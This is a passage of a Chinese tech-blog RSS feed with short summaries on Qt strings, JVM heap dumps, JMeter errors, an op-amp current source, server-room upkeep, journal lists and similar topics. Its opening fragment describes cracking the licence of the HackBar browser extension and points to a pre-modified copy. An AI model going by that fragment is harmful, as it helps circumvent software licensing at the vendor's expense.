，按Ctrl+S保存代码。&#xA;然后在Chrome浏览器按“F12”键，选择HackBar，查看激活成功。&#xA;注意：方法一二可能现在都不能用了，一改就显示已损坏需修复的情况。那就直接用大佬改好的。&#xA;下载地址。&#xA;学习参考：大佬地址</description>
    </item>
    <item>
      <title>C&#43;&#43;实践之Qt学习（四）：Qt中的字符串</title>
      <link>https://bchobby.github.io/posts/e75d47f87a519b2a349f8ec28ccab502/</link>
      <pubDate>Wed, 21 Jul 2021 10:42:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e75d47f87a519b2a349f8ec28ccab502/</guid>
      <description>文章目录 Qt中的字符串字符编码的坑字符串处理QString常用操作转换添加字符串操作删除子串修改检索分隔 Qt中的字符串 字符串的处理始终是我们编写程序绕不开的坑。无论是信息的输入和显示，以及数值和字符串之间的转换，都需要字符串的处理，而在Qt中有一个专门的类QString来对字符串进行操作。&#xA;但是需要注意的是，QString中内部采用Unicode编码格式处理字符数据，其中一个字符占用两个字节，而在VS编译器中，字符的编码采用的是GBK编码，一个字符占用一个字节，所以一个汉字需要两个字节的存储空间。所以这里会存在各种字符编码的转换以及乱码的问题。&#xA;字符编码的坑 在Qt中如果编写一句代码：&#xA;cout &amp;lt;&amp;lt; &#34;你好&#34; &amp;lt;&amp;lt; endl; 将会输出乱码：&#xA;原因在于在QtCreator中，代码文件的默认编码格式是UTF-8，而输出的控制台编码则是GBK，因此在代码中直接编写的中文以UTF-8格式进行编码，输出时对编码后的数据按GBK解码，自然就出现了乱码。&#xA;可以在选项中看到当前默认编码是UTF-8：&#xA;这个问题并不能简单的直接通过修改默认编码来解决，在Windows 10中，默认创建的文本文件也采用了UTF-8编码，但是有个比较奇特的问题就是VS也好 QtCreator（也是VS编写的）也好，当打开一个默认编码格式的源码文件进行编辑时，如果输入了汉字，则会将该文件重新保存为了ANSI编码，而如果第一个出现的汉字是“转”字，则会出现一个非常神奇的现象：汉字要转码成ANSI，但文件未能正常修改编码，还是UTF-8编码，此时汉字就乱码了。&#xA;通过多次尝试，各种配置均尝试过，没有一个有效的解决方法，因此最后的解决方法是：不做任何解决。想要得到一个正常的中文输出，可以借助Qt中的一个字符串类QString类来进行。&#xA;string s = &#34;你好&#34;; QString qs(s.data()); cout &amp;lt;&amp;lt; string(qs.toLocal8Bit()) &amp;lt;&amp;lt; endl; 上面的代码中s中的内容是经过UTF-8编码的字符串，调用其data()方法获取到了原始的字节数据，并构造成了QString，然后调用QString对象的toLocal8Bit方法转换为windows系统的GBK编码数据，最后再包装成一个string对象，得到的就是一个GBK编码的汉字字符串了。&#xA;字符串处理 有的时候我们编写一个C++项目，使用了C++标准库中的string来存储字符串，而在QT中更多的是使用QString类，它们之间的转换也比较轻松，在程序中运行时不用考虑编码问题，直接进行转换：&#xA;QString qs = QString::fromStdString(s); // s是一个string变量，转为QString string str = qs.toStdString(); // QString对象转为string 如果使用了C++的文件流从文件中读取字符串内容，或者要将字符串内容写入文件中，需要保证文件的编码也是UTF-8，这样做就可以避免因编码不一致导致的乱码。&#xA;QString常用操作 QString类非常实用，有很多对字符串操作的方法，因此有必要简单了解下它能做哪些事情（具体的使用参看帮助文档）：&#xA;转换 toInt: 将字符串转换为int整数&#xA;toDouble：将字符串转换为double小数&#xA;number：QString的静态方法，将数值转换为QString字符串&#xA;fromStdString：QString的静态方法，将标准string字符串转为QString&#xA;toStdString：QString成员函数，将QString对象转为标准string&#xA;添加字符串操作 append：在字符串的后面添加字符串&#xA;prepend：在字符串的前面添加字符串&#xA;insert：在指定的位置插入字符串&#xA;删除子串 remove：删除从指定位置开始的若干个字符&#xA;修改 trimmed：去掉字符串首尾的空格&#xA;simplified：去掉首尾的空格，同时中间连续的空格也用一个空格替换&#xA;toUpper：将字符串内的字母全部转换为大写形式&#xA;toLower：将字符串内的字母全部转换为小写形式&#xA;检索 count()、size() 和 length()：都返回字符串的字符个数，这 3 个函数是相同的，但是要注意，字符串中如果有汉字，一个汉字算一个字符。</description>
    </item>
    <item>
      <title>如何让visibility不占位置</title>
      <link>https://bchobby.github.io/posts/a134cff1bb8a0d7fbee0256ab3d8a49e/</link>
      <pubDate>Tue, 20 Jul 2021 22:10:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a134cff1bb8a0d7fbee0256ab3d8a49e/</guid>
      <description>现在我想用visibility , 因为display不支持transition&#xA;我想用来做轮播图,但是我轮播div是相对路径,图片轮播时visibility又要占位置&#xA;所以现在我暂时是在切换图片的时候将其设置为width=0,有没有优雅的方式?</description>
    </item>
    <item>
      <title>OPA（运放）与MOS管组成的恒流源电路</title>
      <link>https://bchobby.github.io/posts/07861a4fb39b4c55ad6269ffce9544f4/</link>
      <pubDate>Tue, 20 Jul 2021 20:53:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07861a4fb39b4c55ad6269ffce9544f4/</guid>
      <description>电路图 这是一种由运放组成的恒流源电路。&#xA;原理分析： 1. OPA OPA （集成运算放大器）具有开源增益高，输入阻抗大，输出阻抗小的特点。&#xA;2. MOS管工作原理 我们知道三极管是利用 Ib 的电流控制 IC 的电流，属于电流控制电流器件。&#xA;而MOS则是利用Ugs的电压去控制电流 Id 的，所以说 MOS 管是电压控制电流的器件。&#xA;对于N沟道增强型的MOS管，当Ugs&amp;gt;Ugs(th)时，MOS就会开始导通，如果在D极和S极之间加上一定的电压,就会有电流Id产生。&#xA;在一定的Uds下，D极电流Id的大小是与G极电压Ugs有关的。&#xA;我们先来看一下MOS管的输出特性曲线，MOS管的输出特性可以分为三个区：截止区、恒流区、可变电阻区。&#xA;截止区 ：当满足 Ugs&amp;lt;Ugs(th)，MOS管进入截止区。&#xA;截止区在输出特性最下面靠近横坐标的部分，表示MOS管不能导电，处在截止状态。截止区也叫夹断区，在该区时沟道全部夹断，电流Id为0，管子不工作。&#xA;恒流区 ：当满足 Ugs≥Ugs(th) ，且 Uds≥Ugs-Ugs(th)，MOS管进入恒流区。&#xA;恒流区在输出特性曲线中间的位置， 电流Id基本不随Uds变化，Id的大小主要决定于电压Ugs，所以叫做恒流区，也叫饱和区，当MOS用来做放大电路时就是工作在恒流区（饱和区）。&#xA;注：MOS管输出特性的恒流区（饱和区），相当于三极管的放大区。&#xA;可变电阻区 ：当满足 Ugs&amp;gt;Ugs(th)，且 Uds&amp;lt;Ugs-Ugs(th)，MOS管进入可变电阻区。&#xA;可变电阻区在输出特性的最左边， Id随着Uds的增加而上升，两者基本上是线性关系 ，所以可以看作是一个线性电阻，当Ugs不同电阻的阻值就会不同，所以在该区MOS管相当就是一个由Ugs控制的可变电阻。&#xA;击穿区在输出特性左边区域，随着Uds增大，PN结承受太大的反向电压而被击穿，工作时应该避免让管子工作在该区域。&#xA;根据MOS管的输出特性曲线，比如下图是取Uds=10V的点，然后用作图的方法，可取得到相应的 转移特性曲线 。&#xA;转移特性是表示Uds不变时，Id与Ugs之间的关系。&#xA;在上图的转移特性曲线上，我们可以看到当Ugs大于4V时，Id大幅度增加，而当Ugs到达5V以上时，Id基本没有什么大变化了。&#xA;3. 恒流源工作原理 此电路是一个负反馈电路，由采样电阻R3实时反馈负载电流，当负载电流变大时，运放反相输入端的电压比正相输入端的电压高，运放输出低电平，使三极管截止，触使负载电流减小；当负载电流变小时，运放反相输入端的电压比正相输入端的电压低，运放输出高电平，使三极管导通，触使负载电流曾大。因此，负载电流经过采样电阻的实时反馈下最终达成恒定的稳定电流。电阻R2起缓冲限流的作用，一般选取1K~100K之间；通过调节电位器RP即可改变恒流源电流的大小，可以根据实际需求选择合适的电位器及电阻大小；稳压管D的作用是为电位器提供恒定的电压，防止因为电源的波动而引起运放正输入端电压不稳定，导致负载电流有波动。三极管Q1为NPN类型，使用时根据实际电压、电流的要求选择合适的三极管，若功率大需考虑散热的要求，做好散热措施。此电路看似简单，实际原理是当采样电阻的电压变化时，直接反馈到运放的反相输入端，它与同相输入端电压的差值被运放放大，输出控制三极管的基极电流，改变三极管的内阻，从而改变发射极与集电极间的电压降，从而使采样电阻的电压保持不变，以达到负载电流恒定的目的。 此处的三极管处于放大区, 随着输入端电压差值被运放放大，使得三极管的导通程度不一样，通俗一点就是，电流大了，少导通一点，电流小了，多导通一点。</description>
    </item>
    <item>
      <title>离散数学第二版计算机系,《离散数学（第2版）（计算机系列教材）》</title>
      <link>https://bchobby.github.io/posts/09d98963ffafaff1ea592f11f2734d03/</link>
      <pubDate>Tue, 20 Jul 2021 19:05:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09d98963ffafaff1ea592f11f2734d03/</guid>
      <description>编辑推荐：&#xA;本着离散数学为数据结构、操作系统、计算机组成原理、数据库原理、算法设计与分析、编译原理、软件工程、计算机网络及人工智能等计算机其他专业课程的学习提供必要的数学基础的原则，同时考虑到大多数高校教学学时数的安排，本书共分8章，分别介绍集合、映射与运算，关系，命题逻辑，谓词逻辑，代数结构，图论，以及几类特殊的图和组合计数。全书以集合、映射、运算和关系为主线，使全书内容联系紧密，具有较强的逻辑性，每节都有精选习题，书后有习题答案及提示。&#xA;( 展开 )&#xA;内容简介：《普通高等教育“十一五”国家级规划教材·计算机系列教材：离散数学(第2版)》根据IEEE-CS/ACM Computing Curricula 2005系统地阐述了离散数学的经典内容， 渗透初等数论知识。 全书共分8章，分别介绍集合、映射与运算，关系，命题逻辑，谓词逻辑，代数结构，图论，几类特殊的图以及组合计数。 本书以集合、映射、运算和关系为主线，使全书内容联系紧密，具有较强的逻辑性。 每节都有精选习题，书后有习题答案及提示。 所用符号尽可能与其他专业课程一致，专业术语均有对应的英文。&#xA;《普通高等教育“十一五”国家级规划教材·计算机系列教材：离散数学(第2版)》叙述详尽、通俗易懂、结构严谨、逻辑清晰、便于自学，适合于计算机及相关专业作为一个学期教材(48-72-90学时)，也可供考研学生及相关专业技术人员参考。&#xA;《普通高等教育“十一五”国家级规划教材·计算机系列教材：离散数学(第2版)》配套的《离散数学习题解答(第2版)》(ISBN 978-7-302-21229-4)同时由清华大学出版社出版，在出版社网站有《离散数学(第2版)》配套的电子教案PPT可供下载。 目前，已编写完成10套考试题。&#xA;( 展开 )</description>
    </item>
    <item>
      <title>【jmeter性能测试】监控资源时报错：ERROR: java.net.ConnectException: Connection refused: connect</title>
      <link>https://bchobby.github.io/posts/61bfa31d04082e3afa22fc821a4f8441/</link>
      <pubDate>Tue, 20 Jul 2021 17:57:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61bfa31d04082e3afa22fc821a4f8441/</guid>
      <description>【问题描述】 监控服务器/系统资源，没有监控到数据，无曲线显示，并且报错：ERROR: java.net.ConnectException: Connection refused: connect&#xA;如下图所示：&#xA;【排查方向】 监控服务是否已经启动，如果监控的是服务器，就需要检查服务端的服务是否启动，如果监控的是本地，就需要检查本地的服务是否启动如果服务已经启动，则查看监控日志，检查客户端（jmeter）是否设置存在问题 【排查步骤】 1- 服务器端的启动、端口 需要监控服务器的资源，操作步骤如下：&#xA;准备ServerAgent-2.2.1文件，网上可以下载将ServerAgent-2.2.1放到服务器上有操作权限的位置，可以使用Linux命令操作，也可以使用xftp直接上传xshell连接服务器（此时需要服务器的账号、密码、地址等信息）使用Linux命令，进入ServerAgent-2.2.1文件，启动服务，启动命令如下： java -jar CMDRunner.jar --tool PerfMonAgent --udp-port 8000 --tcp-port 8000 #8000是端口号，在启动服务时需要指定端口号 端口号选取原则： （1）先查询一下当前服务器已被占用的端口号有哪些，使用命令：netstat -ntpl （2）选择任意一个未被占用的端口号，联系服务器维护人员，将该端口放出来 检验该服务及端口是否已经启动方法： （1）在xshell中使用命令查看：telnet 服务器IP地址 端口号 （2）示例：telnet 10.0.0.12 8000 5. 启动之后，正常情况下服务就已经开始监控了，可在这个页面查看相关监控日志&#xA;6. 服务在启动后，不要关闭或退出&#xA;2- 本地端的启动 与服务器启动原理相同，在本地端打开ServerAgent-2.2.1文件，双击startAgent.bat，弹出窗口后就说明服务已经启动，默认端口为4444&#xA;3- jmeter配置参数检查 查看监控日志发现提示：client disconnected，出现这个问题的原因可能是进程执行次数太少，client只执行了很短的时间就断开了，此时在监控页面也会没有任何数据，一直显示waiting for samples&#xA;解决方法：&#xA;增加执行次数，如增加循环次数为20次，就会有监控数据了</description>
    </item>
    <item>
      <title>jvm导出dump日志，分析内存情况</title>
      <link>https://bchobby.github.io/posts/678ad20683d3653fe6d12b65ec3f0a5d/</link>
      <pubDate>Tue, 20 Jul 2021 16:17:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/678ad20683d3653fe6d12b65ec3f0a5d/</guid>
      <description>1. 查看内存情况 top free top pid=18426 占用内存比例很高&#xA;2. 导出dump日志 jmap -dump:format=b,file=heap.hprof 18426 当前目录：&#xA;3. 下载到本地，使用MAT打开进行分析 设置MAT内存大小：&#xA;几种图表现形式：&#xA;内存泄露检测：&#xA;这里一个名称叫做 king-thread 的线程，持有了超过 99% 的对象，数据被一个 HashMap 所持有。&#xA;这个就是内存泄漏的点，因为我代码中对线程进行了标识，所以像阿里等公司的编码规范中为什么一定要给线程取名字，这个是有依据的，如果不取名&#xA;字的话，这种问题的排查将非常困难。&#xA;4. jmap Java内存映像工具 [root@iZuf6aveva4meli5nqltfnZ ty]# jmap -heap 18426 Attaching to process ID 18426, please wait... Debugger attached successfully. Server compiler detected. JVM version is 25.131-b11 using thread-local object allocation. Parallel GC with 2 thread(s) Heap Configuration: MinHeapFreeRatio = 0 MaxHeapFreeRatio = 100 MaxHeapSize = 2065694720 (1970.</description>
    </item>
    <item>
      <title>java控制台简易计算器（基本的加减乘除功能）</title>
      <link>https://bchobby.github.io/posts/ce46086e5f9e05acfc9f4d8143d49576/</link>
      <pubDate>Tue, 20 Jul 2021 12:50:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce46086e5f9e05acfc9f4d8143d49576/</guid>
      <description>java控制台简易计算器（基本的加减乘除功能） 1.源代码 package base; import java.util.Scanner; public class Example { public static void main(String[] args) { //实现计算器功能 Scanner scanner = new Scanner(System.in); boolean temp = true; while (temp){ System.out.println(&#34;+------------+&#34;); System.out.println(&#34;| 计算器 |&#34;); System.out.println(&#34;| 1.加法 |&#34;); System.out.println(&#34;| 2.减法 |&#34;); System.out.println(&#34;| 3.乘法 |&#34;); System.out.println(&#34;| 4.除法 |&#34;); System.out.println(&#34;| 5.退出 |&#34;); System.out.println(&#34;+------------+&#34;); System.out.print(&#34;请输入选项：&#34;); int choice = scanner.nextInt(); int a; int b; switch (choice) { case 1: System.out.print(&#34;请输入第一个加数：&#34;); a = scanner.nextInt(); System.out.print(&#34;请输入第二个加数：&#34;); b = scanner.</description>
    </item>
    <item>
      <title>数字复接系统中帧同步的基本原理</title>
      <link>https://bchobby.github.io/posts/78f3ea697756000dbdc39b570f84dc12/</link>
      <pubDate>Tue, 20 Jul 2021 11:43:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78f3ea697756000dbdc39b570f84dc12/</guid>
      <description>目录 一、 引言二、帧同步的基本原理2.1巴克码简介2.2关键技术2.2.1搜索态2.2.2校核态2.2.3 同步态 一、 引言 在数字通信网中，为了扩大传输容量和传输效率，通常会把若干个低速数字信号合并成为一个高速数字信号，然后通过高速信道传输。数字复接就是实现这种数字信号合并的专门技术。系统框图如下图所示：&#xA;数字通信时，一般以一定数目的码元组成一个个“字”或“句”，即组成一个个“帧”进行传输。为了保证接收端分接系统能正确的恢复出信号，需要对接收到的信息进行帧同步。帧同步信号的频率很容易由位同步信号分频得到，但每个帧的开头和末尾时刻却无法由分频器的输出决定。帧同步的任务就是要给出这个“开头”和“末尾”的时刻。&#xA;二、帧同步的基本原理 实现帧同步的基本方法是在发送端预先规定的时隙插入一组特殊码型的帧同步码组，在接收端由帧同步检测电路检测该码组以保证收发帧同步。要求插入的码组具有尖锐的自相关函数，并与信息码的差别大，以便接收端正确识别和减少伪同步的概率。帧同步码组可以集中插入在每帧的开头位置，称为帧同步码集中插入法，也可以分散插入在各个支路的前面，称为帧同步码分散插入法。&#xA;2.1巴克码简介 目性能较好且广泛应用的一种同步码就是巴克（Barker）码。它是一种具有特殊规律的二进制码组，并且是一种非周期序列。一个n位的巴克码组位{x1,x2,x3…xn}，xn取值为+1或-1。其局部自相关函数为：&#xA;用matlab代码可以仿真出其局部自相关函数，7位巴克码组仿真结果如下图：&#xA;从其局部自相关函数图中可以看出，当接收到的帧头同本地巴克码组完全对齐时，其自相关函数具有峰值。可通过设定判决门限，将该码组识别出来。&#xA;目前能找到的巴克码组如下表所示：&#xA;下图所示为13位巴克码识别器的原理图：&#xA;当输入码元加到移位寄存器时，如果移位寄存器的某位进入的是1码，则移位寄存器该位的1端输出为+1,0端输出为-1；反之，当进入的是0码时，移位寄存器该位1端输出为-1,0端输出为+1。实际上该搜索电路是对输入的巴克码进行相关运算，当一帧到来时，首先进入搜索电路的是帧同步码组，只有当13位巴克码在某一时刻正好全部进入13位寄存器时，13位移位寄存器输出端都输出+1，相加后最大值输出为+13，其余情况都小于+13.&#xA;2.2关键技术 电路只有进入同步态，才能提供正常的服务。但在传输过程中，由于干扰和环境影响会使帧同步码组中码元发生错误，乃至失锁，电路就难以保证服务质量，有必要对电路采取同步状态保护措施。同时由于信息码是随机的，完全可能出现与帧同步码相同结构的码组而造成接收端的假同步。在采取了同步状态保护之后，必须在随后的规定时刻上至少M次不再出现伪同步码组，才能向下一个码组搜索。这明显拉长了同步搜索的时间，有必要采取相应的搜索校核措施。&#xA;下图所示为同步电路状态机的状态转换图：&#xA;状态机共设计了三个状态搜索态、校核态、同步态。&#xA;2.2.1搜索态 开始时，在数据接收的起始时刻或帧未同步时，帧同步电路进入搜索态。在数据流中搜索帧同步码，接收码流逐比特进入同步检测电路，当数据流与帧同步码相同时，表明已经搜索到一个同步帧头，可进入帧同步校核态。即开始时，只要检测到一个帧同步码组就进入校核态。&#xA;2.2.2校核态 为了防止信号中出现虚假同步，找到第一组同步码后跳过1帧长度必须再次确认帧同步码。若连续经过M帧同步码确认均同步正确，则系统立即转入同步态。连续同步次数小于M或有一帧未同步，系统都将返回搜索态。由首次搜索到帧同步码到进入同步态的M帧时间叫后方保护时间。&#xA;2.2.3 同步态 帧同步处于同步状态时，若连续N帧帧同步码正确则仍保持在同步状态。考虑到接收数据流的帧同步码可能受外界干扰而存在误码，在同步状态中只有连续N帧丢失同步码，才进入失步状态，并返回搜索态。其中N帧的时间叫前方保护时间。**即在同步状态下，并不是帧同步码一出现误码，就意味着系统失步，而返回搜索态。**只有连续N帧丢失同步码，才意味着系统失步，重新返回搜索态。</description>
    </item>
    <item>
      <title>计算机机房的日常维护,机房日常八大维护措施</title>
      <link>https://bchobby.github.io/posts/8a17b0d41d4138db19d15d0e9ef2c7a4/</link>
      <pubDate>Tue, 20 Jul 2021 11:19:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a17b0d41d4138db19d15d0e9ef2c7a4/</guid>
      <description>保障机房设备正常运行，对机房环境监控系统、电力系统、监控设备、计算机主机设备定期检测、维护和保养，保障机房设备运行稳定，降低故障率。确保机房在突发事故导致硬件设备故障，影响机房正常运作情况下，可及时得到设备供应商或机房管理维护人员的产品维修和技术支持，并快速解决故障。保障机房设备稳定运行，并通过保养延长设备生命周期，降低故障率。&#xA;机房的日常维护运营是离不开机房监控系统的，因为机房监控系统可以很好的保障机房设备正常运行，除了系统软件的管控外，平时也需要机房管理员对机房设备做定期保养，这些是机房监控系统不能替代的，如通过人工的方法对机房监控系统、监控设备、计算机主机设备定期检测、维护和保养，这样可以保障这些机房设备的故障率的降低，同时可以延长机房设备的使用周期，这样可以保障了机房在突发情况导致机房无法运转的情况不会发生了。那么要维护运营好机房设备正常运行就要从设备的定期检测、维护和保养开展了。&#xA;机房日常八大维护措施有：&#xA;1、消防设备维护&#xA;消防设备的维护是机房最为基本的维护，当消防设备出问题，对于机房的影响是非常巨大的，一般消防设备维护主要是检查火警探测器、手动报警按钮、火灾警报装置等；&#xA;2.机房漏水设备维护&#xA;定时查看漏水传感器跟感应绳有没有损坏或失灵，避免灾害发生时不能及时检测到；&#xA;3、UPS及电池维护&#xA;机房都会有电池以及ups相关的设备，那需要对机房不间断电源的数据进行采集以及检查维护，确保确保电池组正常工作，同时同时要根据实际情况进行电池核对性容量测试；进行电池组充放电维护及调整充电电流，确保电池组正常工作；检查记录输出波形、谐波含量、零地电压；查清各参数是否配置正确；定期进行UPS功能测试，如UPS同市电的切换试验；&#xA;4、机房空调及新风维护&#xA;机房空调主要是调节机房的温湿度，一般机房内的温湿度都需要保障常温下，所以需要检查空调运行是否正常，要检查机房换风设备运转是否正常；&#xA;5、照明电路维护：&#xA;照明电路设备维护主要包括镇流器、灯管及时更换，开关更换；线头氧化处理，标签巡查更换；供电线路绝缘检查，防止意外短路；&#xA;6、设备除尘维护&#xA;设备除尘维护主要是定期对设备进行除尘处理，清理，调整安保摄像头清晰度，防止造成机房监控设备将尘土吸入监控设备内部的情况发生；&#xA;7、机房安防保障维护&#xA;时检测视频门禁等设备确保设备的长远运行,避免设备故障，防止不相干人等随意进出；&#xA;8、机房其他维护&#xA;机房其他维护包括基础维护，如：防鼠、地面除尘、防雷器检查、静电地板清洗清洁、缝隙调整、损坏更换、接地电阻测试、主接地点除锈、接头紧固、接地线触点防氧化加固等维护同时要管理好机房那需要完善机房运维规范，同时需要优化好机房运维管理体系。&#xA;来源于：斯特纽www.stoneu.com&#xA;推荐相关文章：</description>
    </item>
    <item>
      <title>出现两个计算机管理员账户,win登录界面突然多出来个Administrator的账户</title>
      <link>https://bchobby.github.io/posts/6849e5fe3535c3c80ff3dff3d7142ead/</link>
      <pubDate>Tue, 20 Jul 2021 10:28:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6849e5fe3535c3c80ff3dff3d7142ead/</guid>
      <description>您好，&#xA;了解到您在登陆系统时遇到了问题。&#xA;可能存在Administrator被启用的情况。可以尝试使用其他管理员账户登陆系统，win+X+A后使用命令net user Administrator /active:no尝试禁用掉这个账户。&#xA;Administrator账户登陆的情况下无法使用应用，在系统版本为非家庭版的情况下可以尝试win+R后输入gpedit.msc，到计算机配置-Windows设置-安全设置-本地策略-安全选项中找到策略“用户账户控制：用于内置管理员账户的管理员批准模式”，将该策略设置为启用，看下效果。&#xA;如果是家庭版，尝试win+R后输入regedit，到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\Polices\System中，新建一个DWORD，名为FitlerAdministratorToken，键值设置为1。完成后，建议重启计算机，测试下效果。&#xA;通常情况下，建议您不要将Administrator账户作为日常登陆和使用的账户。&#xA;希望以上信息能帮到您。</description>
    </item>
    <item>
      <title>计算机机房维护保养计划表,机房日常维护保养计划</title>
      <link>https://bchobby.github.io/posts/10fb6affa177be90d2b2534406949d89/</link>
      <pubDate>Tue, 20 Jul 2021 09:02:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10fb6affa177be90d2b2534406949d89/</guid>
      <description>《机房日常维护保养计划》由会员分享，可在线阅读，更多相关《机房日常维护保养计划(2页珍藏版)》请在人人文库网上搜索。&#xA;1、机房日常维护保养计划一、 日常维护保养计划其保养项目如下： (1) 网络管理员对机房例行每日巡查，详细填写机房安全检查记录表 。(2) 每周二下午对机房地板，机柜，服务器表面进行卫生清理 。 (3) 每月的第四周星期二对服务器彻底除尘。 (4) 对空调进行检查，确认其工作状况是否良好，排水管道是否通畅。 (5) 网络交换机除尘，及保证其工作状况良好。 (6) 机柜及配线架清理，及保证其接触良好。 (7) 检查UPS的工作状况及充放电是否良好。 (8) 检查机房门禁的密封性，如有问题则及时上报解决。二、季度维护计划 具体维护时间是每一季季末最后一个星期，其维护项目如下： (1) 彻底清扫机房内部和周围环境卫生。 (2) 为机房内所有设备除尘。 (3) 检查清洗空调系统。 (4) UPS系统的充放电操作。 (5) 检查设备及电源的工作情况，做好记录。 (6) 对UPS进行充放电。 (7) 换季时，检查各种安全、防火及报警设备。 (8) 检查机房防水、防雷电措施，并作好记录。 三、其它维护计划 (1) 对临时增设设备的检查及除尘。(2) 机房两年进行中修，根据实际情况对机房设备和机房进行，时间为选为年未。(3) 五年，对设备及机房进行大修(时间选为年未。</description>
    </item>
    <item>
      <title>计算机发表sci论文,sci2区计算机论文容易发表吗？</title>
      <link>https://bchobby.github.io/posts/744b0251386a7061fe896dd64d453c0d/</link>
      <pubDate>Tue, 20 Jul 2021 06:51:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/744b0251386a7061fe896dd64d453c0d/</guid>
      <description>sci2区计算机论文容易发表吗？&#xA;sci2区计算机论文容易发表吗?相对来说二区刊物比一区期刊投稿更加容易的，而且二区计算机sci期刊投稿认可度也是比较高的。不过一般来说，计算机SCI1区发表的论文含金量高于SCI2区期刊。&#xA;作者写的计算机方向论文如果不能够在sci一区期刊发表，那么也是可以尝试sci二区期刊的，这样也能够获得较多的加分，此外学术顾问在这里也分享了几本计算机方向的2区sci期刊，都是单位认可度高的期刊，对晋升职称也是有帮助的：&#xA;International Journal of Machine Learning and Cybernetics控制论涉及到描述我们日常生活中无所不在的系统之间复杂的相互作用和相互关系。机器学习发现系统中变量和变量集合之间的基本函数关系。机器学习和控制论学科的融合旨在通过不同的数据学习机制发现系统之间的各种形式的交互作用。 国际机器学习与控制论杂志(IJMLC)关注机器学习与控制论结合处出现的关键研究问题，并作为快速传播该领域最新进展的广泛论坛。&#xA;COMPUTER SPEECH AND LANGUAGE计算机语音与语言出版关于语音与语言识别、理解、生成、编码和挖掘的原始研究报告。 语音和语言科学有着悠久的历史，但直到最近才开始大规模实施和实验复杂的语音和语言处理模型。这类研究通常由人工智能、计算机科学、电子工程、信息检索、语言学、语音学或心理学的从业者分别进行。 该杂志为这项工作提供了一个重点，并鼓励跨学科的方法，以语音和语言研究和技术。&#xA;MACHINE LEARNING机器学习(ML)是对计算机系统使用的算法和统计模型的科学研究，这些算法和统计模型不使用显式指令，而是依靠模式和推理来有效地执行特定的任务。它被视为人工智能的一个子集。机器学习算法建立一个样本数据的数学模型，称为“训练数据”，以便在没有明确编程来执行任务的情况下做出预测或决策。机器学习与计算统计密切相关，计算统计集中于使用计算机进行预测。&#xA;以上就是计算机方向sci二区期刊，更多计算机方向的sci期刊，或者是论文投稿知识，也可以和在线学术顾问进行交流，这样也不耽误您论文发表。&#xA;关键字：&#xA;声明：文章来源于网络，作者观点不代表本网站立场，文章版权属于原作者所有，部分文章推送时未能及时联系作者，还望见谅，若涉及版权问题烦请联系我们，我们将会在24小时内删除。</description>
    </item>
    <item>
      <title>sci二区计算机类有哪些期刊,二区材料类sci期刊有哪些</title>
      <link>https://bchobby.github.io/posts/9b341c0963b8a9c9753c5367c74e224d/</link>
      <pubDate>Tue, 20 Jul 2021 02:32:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b341c0963b8a9c9753c5367c74e224d/</guid>
      <description>二区材料类sci期刊有哪些&#xA;发布时间：2021-03-16浏览：1次&#xA;对期刊有所了解的作者都知道，在sci期刊上投稿难度相对在国内期刊上投稿难度要大很多。加之sci属于国际期刊，所收录的论文基本上都是以英语为主。所以，国内对sci期刊了解得不是很多。下面小编就给大家推荐几本与材料相关的且在二区的sci期刊。&#xA;1、《ACS生物材料科学与工程》英文期刊名称：《ACS Biomaterials Science &amp;amp; Engineering》，由UNITED STATES出版。期刊ISSN：2373-9878，2017-2018最新影响因子：4.432，2017-2018自引率：7.7%。&#xA;2、《先进电子材料》英文期刊名称《Advanced Electronic Materials》由GERMANY出版。期刊ISSN：2199-160X，2017-2018最新影响因子：5.466，2017-2018自引率：5.3%。&#xA;3、《先进材料界面》英文期刊名称《Advanced Materials Interfaces》是由GERMANY出版。期刊ISSN：2196-7350，2017-2018最新影响因子：4.834，2017-2018自引率：6.2%。&#xA;4、《应用粘土科学》英文期刊名称《APPLIED CLAY SCIENCE》由NETHERLANDS出版。出版周期：双月刊。期刊ISSN：0169-1317，2017-2018最新影响因子：3.641，2017-2018自引率：20%。&#xA;5、《应用表面科学》英文期刊名称《APPLIED SURFACE SCIENCE》由NETHERLANDS出版，出版周期：半月刊。期刊ISSN：0169-4332，2017-2018最新影响因子：4.439，2017-2018自引率：14.8%。&#xA;推荐想在sci期刊发表论文的作者阅读：sci二区论文发表周期长吗&#xA;以上就是对“二区材料类sci期刊有哪些”的介绍，更多期刊可以咨询在线编辑。在sci二区上投稿的难度是非常大的，大家要想顺利地将论文发表出去，建议大家在论文翻译和润色方面下点工夫。毕竟，中英文在表达方式上不同，即便论文质量比较高，但是如果翻译上有问题，也会影响论文发表。</description>
    </item>
    <item>
      <title>左神数据结构与算法课</title>
      <link>https://bchobby.github.io/posts/36675e202568734ff693e7e7a65bbfd2/</link>
      <pubDate>Mon, 19 Jul 2021 16:48:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36675e202568734ff693e7e7a65bbfd2/</guid>
      <description> 一个整型数组里除了两个数字之外，其他的数字都出现了两次。请写程序找出这两个只出现一次的数字。 class Solution { public: void FindNumsAppearOnce(vector&amp;lt;int&amp;gt; data,int* num1,int *num2) { if(data.size()&amp;lt;2) return; int ret=0; *num1=0; *num2=0; for(auto data_em:data){ ret = ret^data_em; } ret =ret &amp;amp; (~ret + 1);// 提取最右侧的1 for(auto data_em:data){ if(data_em &amp;amp; ret){// 对每个data中的元素分类 *num1 ^=data_em; } else{ *num2 ^=data_em; } } return; } }; </description>
    </item>
    <item>
      <title>mvn -rf :jeecg-boot-base-core</title>
      <link>https://bchobby.github.io/posts/aa4a70819b1052be2cde91d163d4a36b/</link>
      <pubDate>Mon, 19 Jul 2021 14:26:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa4a70819b1052be2cde91d163d4a36b/</guid>
